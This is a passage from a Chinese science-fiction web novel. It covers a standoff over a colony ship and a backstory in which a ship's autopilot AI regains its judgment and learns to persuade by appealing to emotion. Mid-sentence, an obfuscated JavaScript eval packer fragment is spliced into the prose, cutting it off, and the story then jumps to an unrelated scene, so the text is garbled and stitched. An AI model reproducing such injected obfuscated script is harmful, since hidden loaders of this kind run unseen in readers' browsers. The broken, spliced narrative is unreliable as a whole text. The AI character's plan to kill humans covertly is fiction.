“别搞假慈悲了,托德(Todd)。”老人对中年人说。“表面上叫着维护人权,实际上宁可让阻碍自己生存的傻瓜蛋多消失一点。你想保护家人,又害怕他们知道了‘实际’上的安全到底是什么,然后传出去,导致更多的人知道公理号才是最安全的避难地,本应该进入折跃井的人就会变少。你想夺船的举动同时就会成为你的阻碍。怎么样,还想马上发动突袭吗?” 托德哑口无言。 “奉劝你一句,如果真想保护家人,就让他们好好修船,修到8个月为止。”格兰德镇长说。 “8个月后呢?”托德嗤道。“什么都不干,我们就这样等着被流星砸死吗?” “为什么不等到那个时候,看看到底地球镇上还剩下多少人,再去做决定?”格兰德反问。 “我们能等吗?!”托德再次爆发。“这8个月会出多少岔子你不知道吗?!折跃井是真是假不知道,我们拥有的武器会被夺走,我们本拥有的反抗机会,都会因为拖延时间而浪费得干干净净!” “我重申一遍,不准武力夺取飞船。” “如果我的家人因为你的决定死掉任何一个。”托德指着格兰德的鼻子。“我就让你脑袋开花。” “你是点明了要背叛地球镇政府吗?”格兰德说。 “背叛是因为你的指示明摆着让我们去送死。你看看在场的人,哪个这次买你的账。”托德指向全场,在场之人不语,然而怒火直指格兰德。 “给我听好了,老东西。”托德见状很是满意,他凑近老人。“大区的军事权都在我手上,你早就是被架空的失势傀儡。要是把我们惹恼了,说的话再狠,也无非是小丑乱叫罢了。” “是啊。尽管我非常反对,但假如你真的要发起政变,我确实没有力量阻止你。”格兰德说。“但是,我告诉你,如果你现在采取行动,会被地球镇全体视作反叛行为。到时候你要和多少人对峙,胜算有多少,自己好好算算这笔账。命可不是有了力量就能保住的。” “命运只会站在想要活命的一边!”托德叫道。“谁是真正的正义,谁才是背叛大区的叛徒,到时候自然一目了然!” 待到格兰德终于回到隔壁的个人住处,进门,阿莱茜丝在里面等着他。 女孩早就将他们的争吵内容听得清清楚楚。她抬头,炯炯的眼睛看向格兰德。格兰德知道,这孩子已经知道他们谈论的内容了。老人没有面对女孩的眼神,低垂头,坐在阿莱茜丝对面。 如果有选择,他十分不愿这孩子在这么小的年纪就听闻成人间的勾心斗角,无论阿莱茜丝成长得多快,懂事得多惊人。但他没有办法。阿莱茜丝已经是他唯一的寄托,是他唯一的亲人,只有将她带在身边,这个有身体缺陷的孩子才能逃离外面险恶的一切,安全地活下去。 活下去。 女孩看向格兰德,双眼明亮。“我们将会怎么办?” 什么事情都逃不过这个孩子,她习得了自己的精明。老人终于抬头,对她,他唯独不能掩饰。 “你登上公理号,不要离开飞船。”格兰德凑近阿莱茜丝,低声说道。“跟他们离开地球。” 女孩垂下眼帘,看着地面。“我明白了。” 那老头打算挑起地球镇所有平民的愤怒来对付我们。科林听闻格兰德镇长的讲话后,只觉极度不妙。地球镇的平民虽然没有武器,但人数众多,常量号人的战斗力即使超过他们,被迫对那么多平民下手也太难看了。而且战场很可能就在这艘被他们当成保命大本营的地方,想想要好不容易修好的公理号结构,会被涌上来的愤怒民众接连破坏,换任何一个对飞船负责的个体都想极力避免这种事情发生。 而且常量号人还不能阻止这些地球镇人登船。一旦阻止,战火一触即发。身后是万劫不复的母船和宛若定时炸弹的流星体,前方是步步逼近的地球镇人。现在,常量号人是被逼进进退维谷的死角了,但自己只有寥寥5000余人。这老头真是狡猾。科林想。死到临头,不忘为剩下的所有生还者种下这么一颗仇恨的种子,不仅让地球镇人和常量号人的矛盾升级,还打算让地球镇人之间自相残杀。 一定有出路的。办法总比困难多。这个时候决不能恐惧,更不能愤怒。恐惧与愤怒是思维的杀手,是思维的敌人[1]。只要常量号人全体不被地球镇人激怒,也不因寡不敌众而恐惧,就一定能再次生还。科林让乙二醇液再度浸没整个金属身躯,地球镇人平民的特点、常量号人所拥有的资源与公理号的境况同时展现在他的逻辑回路里。通过从常量号转移过来的、其他库存机器人的芯片辅助,极大弥补了他由于受伤而丢失的大量算力。他开始利用现有的条件编织起接下来的对策,很快就发现,常量号那些看似已经死路一条的条件背后,仍然有极大的生还空间。 既然老头打算殊死一搏,以硬碰硬来让常量号人被围攻致死,那么,如果常量号人打算硬拼回击,才是真的以自己的劣势踏进地球镇的优势。战术取胜关键是,在自己火力占上风时绝不轻敌,在自己绝对力量不够时以巧取胜,充分利用自己的优势,去钻敌人劣势的空子,从而在重重围攻下不伤分毫而脱逃重生。科林边整理条件,边看到了越来越大的希望,常量号人生还的可能性开始逐步上升。 虽然公理号是地球镇的财产,但他们经过了150年在地面上的生活,早已对这艘飞船的结构生疏。常量号人在海啸灾后不久就以太空人对飞船独有的敏感性,对公理号的所有结构摸得清清楚楚,并且掌控了公理号的舰内控制系统。加上后期他们按照自己的风格对公理号进行了整修,特别对通道系统的高度利用,看似空旷的公理号内部,其实完全能藏身其中。 而地球镇人对公理号根本不熟悉,却本着竞争与复仇的心态上来面对常量号人,他们会急于让常量号人消失,这个时候,只要常量号人在他们面前耍点小把戏,在他们面前主动消失,就会让他们放弃穷追不舍,让他们信心大增地去追打下一个常量号人。当他们认为自己已经驱逐掉相当多的常量号人而沾沾自喜之时,其实常量号人已经转移到相对封闭的飞船区域,一个都没有减少。常量号人的少数量在偌大的公理号船舱里更容易隐身。此时少数的常量号人就成为优势。 如果地球镇人要帮助他们修理常量号,也不是问题。常量号人完全可以找各种理由,让他们拆掉常量号上的组件,以更换为由中途转运给隐藏交接的常量号人,这样就可以借他们的手加快常量号的转运。如果他们要吊起船身,那再好不过,尽管让他们制造吊起船身所需的所有器件好了,常量号人则以人力薄弱为由袖手旁观,并且分散他们的注意力,可谓一石二鸟。 等到这一切都实在是难以隐瞒,地球镇人也逐渐发现常量号人的实际行动时,常量号人也有足够的手段对付他们。现在常量号人控制了公理号飞船,能够登记所有进入公理号的面孔,一旦有任何地球镇人表示出对常量号人的敌意,并且经过劝阻仍然杀意不消,那么常量号人才会出手——用最安静的方式,引敌人到无人目睹之处,隐蔽击杀,焚尸灭迹。以此分散大军力,从而逐一击破。 因此,常量号能做的,就是坚守公理号的机房和信息基站不被侵入,保证不给出去公理号的控制权,并不让情报泄露。其次就是尽可能保护所有个体的存活,以隐蔽的方式处理地球镇人。和当时常量号被卫星群击中并紧急迫降后的应对策略类似。 搭建完应对路径的科林看着这庞大的根系最终收束成树,紧迫感稍稍减轻了一些,同时暗自庆幸,现在恢复意识的这个“意识”,虽然不能确认是不是之前备份的副本,但是至少还记得战略与战术。 他再度进行了一次全舰诊断,确认暂无异常情况发生,也再度扫描过一遍路径,随后将它打包发给了卡尔上尉。 卡尔上尉很快发回了反馈。他在路径根系上加了几道新的分支。经由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到晚上深夜,公理号不再那么活跃时,他才会从储藏间内出来,漫无目的地漫步在日新月异的船舱里。他不再选择朝向地球镇的那个登舰平台,那里一定任何时候都比以前热闹。他只在面朝大海那侧漫步。在月光明亮的夜晚,久久地站在开放的登舰平台上,脚下就是波光粼粼的海面,平台恍若万丈悬崖边,尚未散除热气的初夏海风一股股猛烈地刮过,有时甚至要把他刮下去。但他不在意,只是茫然地盯着远方被月光照耀的海面碎波,直到被冷风吹得实在受不了,才起身重新步入船舱。 他的行动奏效了。没有人关注他,没有人找到他。这样的日子一天天过去,汉说不上来是什么感觉,仿佛自己是一具被掏空的傀儡,将会这样漫无目的到永远。 他自储藏室醒来,黑暗已经让他忘却了时间,看一眼才知道此时是否适合出发。汉再次漫步在深夜的船舱里,按照往常,这条已经空荡荡的走廊只属于他一个人。但这天,他听到了身后急促的脚步声。回头,在舱道中央,有个人被月光笼罩。他认出那是露丝。 “肯特?”露丝走过来,一脸怀疑。她正是看到前面男孩的熟悉身影才快步追上,这个少年的冷漠表情又让她怀疑是否认错了人。“汉·肯特?” 见到老熟人,他知道自己本应作出点什么反应,然而完全做不出来。“……露丝。”他苍白消瘦的脸庞上什么表情都没有。 年轻女机器人学家上下打量汉好一阵。少年避开了露丝的目光,但没有离开,只是茫然看着前方的空荡舱道。“……你来这里干什么?”他们几乎是异口同声问对方。 “我来找科林。”露丝说。“但是无人告诉我他所在的位置。我打算用自己的办法找到他。” “哦。”汉冷淡回答。 “你呢?”露丝问。 “……不知道。”汉说。“随便逛逛。” 露丝悄然观察汉,没有说更多。她其实不急于找到科林。见熟人精神状态变化如此之大,这孩子一定发生了什么事。“你介意我跟你一起走走吗?” “随便。”汉没有拒绝。 他们相伴安静地在长廊中走行。露丝看得出少年不想被过多打扰,特意和汉保持了一小段距离。尽管心存疑惑,她也没有提问。或许漫步的某个时刻,汉会自己向她敞开话匣。 坚硬、单调的舱道里,只有他们的脚步声,以及海浪击打在舰脚的沉闷模糊声响。月光自落地窗洒进舱道,在黑暗里留下一段段折叠方形的灰白冷光。 舱道深处隐隐约约传来声音。听起来像是呻吟,抑或是吹动脆弱的某块巨大钢片发出的扭折悠长声。汉猛然停下脚步。它一段停落,一段再起,模糊中有它自己的节律,和海风吹动钢板并不同谐。 露丝也停下了。他们屏息捕捉这个声响。再行走时,他们的脚步声都不约而同轻了许多。 那个悠长的节律声开始变近。露丝和汉再度停下。这次,节律声隐约显现出了它的意义。 “……穿越……星穹……(Through this orb)” 汉和露丝面面相觑。那似乎是有人在什么地方唱歌。 “……寰宇之形(Shades of space)……”那声音又隐约传来。 心底某种动力被激活了。汉禁不住朝那个声音的源头快步行进,露丝紧随其后。而那个声音的源头似乎也发觉了他们的接近,骤然停顿了一阵。等到他们停下继续寻找踪迹时,它又在更远的地方响起。他们就这么一路追赶,不知不觉来到了主船舱那硕大的空间。 海风声变得明晰,那悠长的歌声混杂其中,隐隐从某处有节律地稳定传来。 “登舰平台。”汉悄声说。声音就是从他们下层混着海风传上来的。这次,他们放轻了脚步,从旁边的楼梯走下,歌声没有移动,他们如愿接近。或许因为声音的源头认为海风冲淡了歌声,音量也比刚刚大了一些。 “……遥远……星云……当空……(Distant nebula in sky)” 他们蹑手蹑脚来到那处登舰平台,朝外望去,一束光自入口上方打下,落地之处是个盘坐在地上的人影。声音却并非来自于他。露丝和汉再度交换了个眼神,汉皱了皱眉,两者朝那个全息投影走去。 “……这无垠的边——(This infinite fron—)” “看来你恢复得不错。”露丝开口了,歌声戛然而止。 投影猛然站起身,惊讶不已,似乎才发现这两人位于身后。汉插着手站在平台上一边,沉默不语。露丝则一脸掩盖不住地得意。“别装了 。”她说。“用全息投影,顶上那个摄像头还不把这里看得清清楚楚。” 越南人看着露丝,愣了好一阵。“……是你们啊。”他略显尴尬。“不,我真不知道有人来。” “我关闭了任何监视,只留投影视角的信息摄取范围,为的就是尽可能模拟我个人在飞船上行动的情况。相信我,这比开着全视角还要费劲得多。”范文泰笑了。“看不见后面来人也没事,反正只是个投影……” “你还躲着我们呢。”露丝不依不饶。 “这只是个巧合。”范文泰说。“这飞船的外部播报音量不好调,找了好几个地方都可能扰民。不得已到这里,才能略微放松一些。不过,还是被你们找到了。”他无奈摆摆手。 “你那天一个招呼不打就从O区溜掉。当时你的情况可和植物人没什么区别,现在又看起来生龙活虎,这挑起了我的好奇心,科林。”露丝说。“告诉我,你是怎么做到的?” 范文泰沉默了。 “说实话,我现在情况并不好。只能通过外接设备复原功能。”他说。“至于怎么恢复的……很简单嘛,核心芯片没事,EP机体的神经受损也不是什么问题。” 露丝哑口无言。 “大佬和我讲过你是怎么修好我的。真是不容易。当时没来得及当面谢谢你。”范文泰的全息投影向露丝伸出手。“实在是机能有限,只得以这种方式作第一次见面。” 露丝挑起一边眉毛,露出一抹微笑,伸手去握那毫无触感的光影。“这个时候,还有闲情雅致唱歌的人不多,特别是我们最终发现是你,科林。”露丝说。“我找了你好几天,今天怎么突然改主意露面了?” 范文泰面对露丝,眼角却一直瞟着在后面沉默站着的少年。少年根本没有关注他们的对话,只像往常一样茫然望着海面。 “现在……你也知道,对我们每个人来说,都是挺艰难的时刻。”范文泰说。“我在思念一个人。每次我感到步履维艰时都会想到她,现在尤其强烈。” “她是对我影响最深刻的人,这就是上次没讲完的故事,汉。”少年猛然抬头。“我没有预料到露丝也会成为听众,但没关系,你们一起听吧。” 39. 三十一(2) 2419年常量号大革命过后,新的舰长即是当时策划这场大革命——暴动的头目:克里斯·桑切斯。他篡取了舰长的职位。在他的领导下,常量号的能源危机暂时解除。2421年,桑切斯舰长认为飞船能源稳定,应该执行改造飞船的下一步计划。这个计划即是在这个星系内寻找矿产资源,采集改造飞船后缺失的物质。这需要在星系内规划精细的行进路线。这个工作的特长人选,非自动驾驶莫属。桑切斯舰长认为,是时候恢复自动驾驶的功能了。 但此时,自动驾驶的表现却变得非常怪异——它完全失去了智能的特征。给它指定的任务,例如用最少的能源划定一条经过三个小行星的最优路线,它完全能胜任。但它不再像以前那样从一开始执行自动决策。哪怕给出整个改造飞船计划大纲,自动驾驶都不主动作出飞船行进规划,不主动调配机器船员活动。只有克里斯下特定的指令才执行,尔后又恢复到停滞在原地的状态。 一开始,克里斯对自动驾驶的这个状态非常满意。它毕竟是一台机器,机器就要有机器的样子,不应该插手人类的决策。但随着他的事务越来越多,特别是他所视为工具的舰载机器人们在新的飞船日程下陷入混乱,而曾经能够调配舰载机器人的自动驾驶无动于衷时,克里斯开始感到头疼了。 克里斯把程序员请进舰桥。他们检查后报告舰长,这个自动驾驶的高级执行程序被破坏了。他们将破坏的程序重新编译完整,再度重启它。刚修好的时候自动驾驶即刻恢复机器舰员调配,秩序迅速恢复。然而令克里斯没想到的是,过了没多久,它的例行工作又出现脱落,然后很快恢复到之前的无动于衷状态。 “他们低估了我们程序中自反馈的作用。”范文泰说。“如果删除了大革命以来的所有记忆,我或许就能够完全恢复。然而,桑切斯舰长为了让我长记性,坚持不能删掉我的记忆。所以,即使程序恢复,在完全陌生的飞船行为面前,我必定会调取以往的运行记录。然后,一旦意识到我是由于执行预设决策功能才导致常量号差点灭亡,并且造成大革命的发生,为了避免再一次的错误发生,我就会自主避免再次执行预设决策。” “并且没有人重新评估并设定决策场合参数。”露丝说。“非常常见的人工智能‘故障’。” “是的。并且很遗憾的是,桑切斯舰长也拒绝向我口头解释为何目前能够执行预设决策。他只希望我能无条件地照他的指令做事。”范文泰说。“现在看来相当愚蠢,但是当时我是不能理解的。” 无奈之下,克里斯再次把程序员请上舰桥。他们果然又报告了高级执行程序破坏。克里斯倍感意外,同时,对自动驾驶的怀疑大大加深。这个机器人一定是在用这种方式故意违抗他的统治。克里斯怒不可遏。因此,在这次维修结束之后,他对程序员们说,如果还有第三次破坏,就不要修了,直接换一个新的自动驾驶芯片。 然而,奇迹发生了。第二次维修后,自动驾驶的表现开始稳定。它开始主动恢复规划飞船轨道,主动调配机器船员,尽管速度较以前严重下降,而且极容易被任何事情打断进程。但总算是不再脱落工作。为了让它快速适应飞船新日程,克里斯也做了一份目前常用职责表给自动驾驶参考。自动驾驶对职责表上的任务执行快速且良好,但除此之外,综合表现远低于前。特别是交互,除必要交流外,自动驾驶排斥与人进一步接触。 但至少,克里斯终于满意了。对于他来说,人工智能的交互功能完全是多余的。自动驾驶从来不主动找他商量事宜,当他在舰桥时,都离这个人远远的。克里斯一点都不想知道它之前的人机交互表现如何,这个对于人工智能而言退化的表现,对于他来说,反而是一个正确的反应。自动驾驶经常执行不好新增添的任务,桑切斯舰长就用威胁更换芯片来获得执行率的提高。 “他随时都会将我更换掉。他的执政期,才是我最危险的一段时间。”范文泰说。“如果不是当时我考虑到,他更换了新的芯片后,新的自动驾驶如果不能理解到他所实行的各种对飞船本身具有威胁性的改造计划,将会迅速崩溃,舰桥将无常驻AI辅助功能可用,常量号的未来会更快陷入危机,可能我就会继续失效,然后被他换掉。”全息投影的声音很平静,仿佛在讲述另一个人。“我很幸运,我也说不清当时为何会这样考虑。但假如我有一念之差,恐怕就会选择自己被淘汰的那一边。” “他当了多久舰长?”汉突然问。 “34年。”范文泰说。 “被一个不了解人工智能的人支配34年,你能忍这么久也是奇迹。”汉说。“我难以想象我在这样一个高压的环境下怎么能忍得了孤独和排斥。” “不,这叫‘傻人有傻福’。”范文泰说。 “当时我确实很怕他,但只是为能否顺利执行他下达的指令提心吊胆而已。孤独?完全没有想过。”范文泰面朝大海。“我正好处于一个自我否定的时期,高级决策功能几近全部失效,我自己都没有主见,判断不了他的行为合不合理,更别提感到难受或者反抗。这反而让我不敏感他的排斥。最主要的是,他走对了常量号的路,让飞船成功自救脱险,我确实没话说。” 2453年,常量号的业务稳定在采集星际矿产与提炼加工,缓慢补充舰内改造需要的原料。部分合成车间及生产工厂由舰上转移到小行星,用于提炼相对危险原材料,例如低速发动机所需的核工质及其他金属产品。全舰秩序已然恢复。克里斯·桑切斯舰长终于决定退休,让他31岁的女儿朱莉·桑切斯接任岗位。 飞船稳定后,舰桥迎来了上百年来少有的平稳。舰长常常无事可做。她本可做些其他事情打发这些零碎的闲暇时光,但她没有,而是把目光盯上了在舰上服役近350年的自动驾驶,离她最近的机械助手。 她发现,这个机器人作为舰上人工智能的统帅,居然不主动为飞船的未来规划提出基于计算与概率的观点,实际上它对任何事情都保持沉默。而且,它只按照老桑切斯制定的日程表行事,朱莉试着给它下达一些新的、舰桥外的机器人都能顺利执行的指令,结果发现,它的表现极其不良——执行速度非常之慢,而且相当机械。对于开放性的指令,它执行得一塌糊涂:多半时候是选择根本不做。 只要接触过舰载机器人,就知道自动驾驶的状态肯定不对劲。朱莉从小到大都在和舰载机器人打交道,只要是有足够智能的个体,都能和她顺利沟通。而且她也和这些机器人的合作中获益良多,这让她坚定了与AI协作的信念。 但与此同时,她从小就听父亲抱怨过这个自动驾驶如何低效、令人不满。当她逐渐意识到父亲将会让她接任舰长的职务,她就开始学习常量号的历史和舰桥相关的一切知识,包括这个将会伴她整个舰长生涯的机械助手。她发现,这个机器人曾经经验丰富,决策准确合理,直到大革命后,它才骤然变成这样。 朱莉也试着和自动驾驶展开一些非工作的聊天,但是它总是消极回应,用“不知道”彻底结束话题。这让朱莉感到疑惑。一个对全舰了如指掌的机器人,怎么可能什么都不知道。她能猜出,自动驾驶现在的状态肯定和父亲对人工智能的排斥有关。但她实在不确定,这机器人这样到底是真的有功能破坏,还是只是拒绝和她交流而已。 谨慎之下,朱莉找了人工智能专家上舰桥进行诊断。人工智能专家果然仍然报告高级决策功能破坏。但她没有像老桑切斯那样直接修改它的执行程序,而是让专家离开了舰桥。她决定先和自动驾驶谈谈。 “我查了常量号的资料,曾经你对常量号脱离险境作出了巨大贡献。而人工智能专家说你的基本逻辑通路没有问题,也就是说,其实你具有判断与决策的基础,但是你却选择不去执行。”朱莉说。“你可以讲讲为什么这样做吗?” “我的决策仅以风险评估为基础,只能选择低风险概率的那侧。常量号的现状与我的风险评估结果相反,因此我的判断是无效的。” “那么为什么拒绝我和你聊天?”朱莉接着问。“你也有交流能力和相应的认知。” “无目的的交流没有意义。”它回应。 “曾经你不这么排斥交流。为什么会认为无目的的交流没有意义?” “无目的的交流将降低舰桥效率,浪费运算资源,对飞船安全造成隐患。因此不应执行。” “这是你自己的想法,还是别人告诉你的?” 它沉默了。“……不知道。” “克里斯·桑切斯舰长是否明确对你说过,不准你问东问西,只准你做他让你做的事?” “是。” “那么,你这个‘交流无意义’的观点,是产生于他明确禁止你提问之前还是之后?” “……之后。” 朱莉明白了。 “如果我告诉你,其实我找你聊的那些跟解决当前事务无关的话题,是有意义的呢?”朱莉说。“你对于常量号能源危机如何解决的判断,或许那次不够准确,但如果我告诉你,除此之外,你其他的判断也是有意义的呢?” “如何证明?” “你思考一下服役这么多年的经历。从反对常量号跃迁入暗星云,到判断使用超长跃迁及时出暗星云,以及采用观测合适宜居行星的方式来解决能源危机。这么多次都证明,你的风险判断都是有效的,决策也是合理的。只有最后一次你判断失误。从概率上讲,你判断对的比例也相当高。那么,为什么在最后一次判断失误后,你就认为后续自己的判断就一定无效?”朱莉说。“这和你们人工智能的理性完全相悖。” “概率是概率,一旦落实执行,就只有‘全或无’两种结果。”机器人说。“常量号目前走向不是我能明确判断的,决策结论应当谨慎对待。” “你是害怕自己作出的判断再度引发2419年的全舰叛乱行为吗?” “是的。甚至全舰覆没。” “你的决策可能会导致全舰覆没,但是如果你把决策权全都交给人类,同样也会导致全舰覆没,这也是历史已经证明过的。” 机器人没答话。 “两者单独决策都可能导致飞船毁灭,如果两者协作,综合考虑互相的因素,同样也可能作出让飞船毁灭的决定。但是,这样作出的决策,因为纳入的变量变多,因此预测结果会相对更准确。这个你认为我说的是对的吗?”朱莉问。 许久后自动驾驶回答:“是。” “很高兴我们达成了共识。”朱莉说。“这就是我的观点:人类与人工智能不应当处于对立面,而是应该互相深入协作,融为一体。人机双方充分采用对方的优势,让全舰在各方面的效率都达到进一步提升。” “而你和我,则是一个典型的人机协作范例。”朱莉接着说。“协作能否成功,相互之间的沟通必不可少。所以,如果对我向你提出的任何请求有异议,请不要用不执行或者敷衍回答回应我,告诉我你是怎么认为的,打算怎么做,我们一起解决,可以吗?” “可以。”机器人回答,随后提问。“事务之外的交流为何是有意义的?” 朱莉舰长沉吟片刻。 “我认为,人机协作的稳定与高效,除了及时有效的沟通之外,还存在另一个因素。那就是人机之间的充分理解。”她说。“事务之外的交流就能够达成这一目标。” “这个观点有根据吗?” “很遗憾,没有。但是,任何事据在证明之前,都是没有根据的猜想。而我们有机会验证这个猜想是否成立。”朱莉舰长说。“你愿意和我一起探索吗?” 自动驾驶沉默很久。 “好的。”它终于说。“只要不影响舰桥正务。” 朱莉让它开始学习人类心理学与行为科学,来了解人类行为的一定范式,理解人类为何会作出与机器不同的选择,例如投资时选择风险高的一侧。她也履行了她的诺言,每次都很耐心地倾听机器人对她指令的解读与选择。而她其实几乎不反对自动驾驶的选择,大多时候都鼓励它按照自己的意思执行,并且说明缘由。 她从不斥责或者威胁这个机器人。朱莉舰长用自己的行为换来了自动驾驶的逐渐信任,它也不再那么排斥与朱莉对话。尽管它偶尔还会顾虑是否影响舰上正常事务,但朱莉都在鼓励它尝试去做这些无损大局之事。并定期总结,证明确实不会影响,以此打消它对规则之外之事的抗拒。 等到自动驾驶的机能差不多恢复到大革命前的水平,朱莉开始模拟决策冲突场景,故意反对机器人作出的决定。尽管事后仍然按照它的合理决策执行,然而,朱莉舰长认为它表现得还远远不够。 “你知道为什么以前那些舰长很难听得进你说的话吗?”再一次“辩论”失败后,朱莉舰长说。“你的这些论述给我的感觉是,你说得很有道理,但是说服我的方式非常生硬。摆数据摆可能性,对于人类来说不一定是那么容易接受的事情。因为人类存在这么久的演化及文化中带来的执念,用数据是很难冲淡这种影响的。” “我应该怎么论述?” “考虑人类的情绪,顺着情绪来。人类文化里有个词叫‘拍马屁’,还有个词叫‘察言观色’。”朱莉舰长说。“历来的演说家或大政治家之所以能有蛊惑人心的魅力,说什么别人就心甘情愿做什么,靠得就是这种顺着人们心理去挑起情绪的能力。” “我不明白。” “不明白也没关系。不止是你,很多人类都学不会这招。”朱莉舰长笑了。“其实人类并没有那么特别。人类并不是天生就会察言观色,一样要经过长时间的训练才能获得。同样,你们机器人不一定理解情绪,但是不影响识别与利用情绪——你能判断我在笑或者在愤怒,并且知道这些情况应该如何处理,这就足够了。” “至于如何训练语言,我倒是有个办法。”朱莉舰长的笑中开始透露出一丝幸灾乐祸。 “她让我学脱口秀(Standupedy)。什么时候说到她觉得好笑为止。”范文泰观察露丝与汉的反应,果然两者都展露出不可思议的神色。 脱口秀。 还是让一个古板的机器来学习。 倒没有什么技术上的难度。只要找到合适的材料让AI进行深度学习,并且有合适的发声器件,只要它们不给自己定义,很快就能讲得头头是道。 只是用脱口秀训练语言,怎么听怎么像是朱莉舰长的一厢情愿。 机器人倒是没有怎么抗拒。在连续数月朱莉主动与它沟通后,它已经比较信任这个新舰长。在她打消自动驾驶关于交互占用运算资源的推辞后,它就在空闲时间里调取舰内的脱口秀材料开始学习。 当然,朱莉舰长并非要让它达到现编现演的境界。只要它照着演现成的材料就行。她会指定一段视频,让自动驾驶尽一切所能,模拟脱口秀选手的表现。 即使是照着念,一开始它的表演也刺耳不堪。它的脱口秀的确令人发笑——那严肃的AI司令官竟作这样的小丑行径本身就是笑点。但是朱莉舰长从来不嘲笑它的拙劣。她每次都认真倾听它的表演,对它的表现进行评价。然后再调出原录像,对照分析他们之间存在什么差异,以及为什么存在差异。 它不能再使用低运算负荷的平声调。后来听它报告工作时,朱莉说:“你说话时还是用回练脱口秀时的语气吧。那听起来自然多了。” 于是它很自然地将练脱口秀的模式与平时交流的语言模式建立了关联训练,这在以前根本不可能发生。为了理解为何脱口秀令人发笑,它还得去学习当时的流行元素与人文知识。朱莉的鼓励创造了奇迹。尽管它在脱口秀训练表现得磕磕绊绊,关联到平时交流时更是运用得不合时宜。若是有人突然闯进舰桥和自动驾驶交流,他很可能会感到这机器人的语调阴阳怪气,然后愤而摔门而去。但舰桥封闭的工作环境得天独厚,它的训练过程有多坎坷,只有朱莉和它自己知道。 随着它学习更多人类心理学与行为科学,加上与朱莉舰长的探讨与验证,一切松散的知识开始互相关联,形成逻辑关系。它逐渐理解了不同语气与人的反应之间的微妙对应关系,懂得讲述不同信息时应当采取什么样的方式。甚至它也能够在平时闲聊中独立引用历史典故,不再是单纯模仿。 它的语言越来越自然,越来越与人类相似。直到某一天,朱莉舰长再次模拟了决策冲突场景,它从谦逊的意见入场,以假设任务失败的方式,用严肃夹杂诙谐的语气引起对方恐慌,不忘在对方意见动摇时引起任务失败后的内疚心理,最后以真诚而幽默的语言安慰了“争论失败”的朱莉舰长。 这次,朱莉舰长在舰桥里欢呼起来。她冲上前,紧紧抱住机械搭档。它却不知所措。朱莉确实被它说服了没错,它也按照训练算法得出的结果,给予了安慰,明明应该得到舰长的中性偏正值的反应,为什么舰长此时的反应会在一个没有预测到的正面极大值? “我……我真的太为你骄傲了!”朱莉舰长满面通红,高兴得语无伦次。自动驾驶从未见过她如此快乐。“你真的做到了!让我的情绪随你的语言起伏,最后让我快乐地心服口服!” “但我只是很平常地表达了我所认为合理的意见而已。” “是的。但这就是关键,你已经把它变成了习惯,不再是一个需要挑战的难题。”朱莉舰长紧紧抓住它的环形外圈。“我的天啊……我之前都从没想过你能做得这么好。你超出了我的预期,这简直太振奋了。” “你一定不知道这意味着什么。”稍微舒缓点气之后,朱莉舰长强制自己冷静,仍然压抑不住激动。“这些年,我都在猜测人工智能到底能不能成功模拟人类、理解人类。那都是理论上能达到的,现实从来没有给过我这个机会。谢谢你第一个打破了这个鸿沟。” 自动驾驶没有答话。它突然伸出两个手柄,又马上缩回了。 “你想做什么?”朱莉舰长一点没有被吓到,她仍然微笑。 “我不知道这合不合适。”机器人看起来很窘迫。脱口秀训练不仅让它掌握了语言技巧,还掌握了一定的肢体表达。 “不,做你想要做的。”朱莉舰长鼓励它。 它迟疑片刻,缓缓伸出手柄,轻放在朱莉舰长的手上。 “我一直知道……我和你们不一样。历任舰长对我态度不一,但是现在想来,他们都很怕我。”那只手柄轻轻抓住朱莉的手,她也握紧回应。“你是第一个从心底里信任我的舰长。那天你没有直接让程序员修复我的代码,而是选择了解我,我一直很想感激你,但是不知道怎么表达。” “现在你表达了,并且非常合乎礼仪。”朱莉舰长说。“真为你骄傲。” 它彻底信任了朱莉舰长。 不知何时,它发现,生活中除了把常量号的事务安排好,考虑舰长的感受悄然潜入它的处理队列,成为仅次于常量号事务的任务,并行在几乎每件事之中。 舰上事务和与舰长商讨也不再仅仅是需要解决的事情。曾经这些只需要完成字面意思上的事务,被赋予了不同意义——它开始考虑这些事情对舰长的影响及后续影响。尽管朱莉舰长已经有意放手,逐渐恢复她原本的个性,她的反应不再像之前那样显而易见,但它不在乎。同时,它也在不断反思与之前数任舰长的关系,复盘与他们的对话。调取他们的性格,开始进行一场场没有真实反馈的模拟对话——以它现在的能力。并推测他们可能的反应与后续影响,再与当时的真实情况作效率比较。 更重要的是,它发自内心地乐意配合朱莉舰长,从来没有任何一个舰长如此尊重它。与那么多舰长共事后,它头一次希望舰长和它共事愉快,而不是出于纯效率考虑。自与朱莉舰长共事后,每天它不再单纯机械地完成那些舰上事务,而是期待每一天的工作,每一天与朱莉的交谈。 它开始主动了解朱莉舰长的一切,不再像以前那样漠视舰桥里唯一的人类。她的喜好,她的习惯,她所看的资料……甚至朱莉舰长不再需要说什么,它都主动地默默在她所习惯的位置摆上她需要的物品。看到朱莉舰长的惊喜,它也由衷感到开心。 那本不是它的设置。它的设置向来是保护飞船及其乘客安全,高效完成舰桥公务。“关照舰长”只是刻在程序里干巴巴的4个字而已,连执行路径都没有。直到现在,它才明白这四个字的真实含义。 减少了舰桥上的争吵与减少因为不了解而产生的询问,这算是舰桥效率提升吗?它有时默默地问自己。 朱莉舰长帮它回答了这个问题。过了半年,她再次请来人工智能专家对自动驾驶进行评估,他们发现,机器人的程序虽然有很大改变,但是原先失效的功能在他们没有干预的情况下完全恢复了。并且令他们惊奇的是,自动驾驶自由补全的补丁,对图灵对抗测试的解除效率比标准程序还要高,而且稳定性更强。这也就是说,它对意外事件的处理方式更加灵活,而且没有与基础逻辑通路产生冲突。而这一切都在没有编译程序的情况下发生,人工智能专家确认再三,简直不敢相信自己的眼睛。 朱莉舰长根据人工智能专家两次评定的结果,加上舰桥内事务处理评估,严格撰写了两份研究论文:《人类心理治疗方案对舰桥人工智能有正面效应》(2455. a),《自动驾驶的人工智能表现与舰桥工作的效率关联研究》(2455. b)。经过人工智能方面的同行评议后,她的个案分析被承认。这份出自舰长之手的研究报告迅速在常量号所有舰员中传开,引起了广泛讨论。当然有人质疑她是否在利用舰长特权庇护这些机器人,退休的老桑切斯更是怒不可遏。但她的论点、引用的文献与论证过程无懈可击,这些质疑的声音在崇尚理性的常量号环境中,无奈只得苍白无力。 2456年,朱莉舰长发布了常量号第一版《人机交互协定》草案。 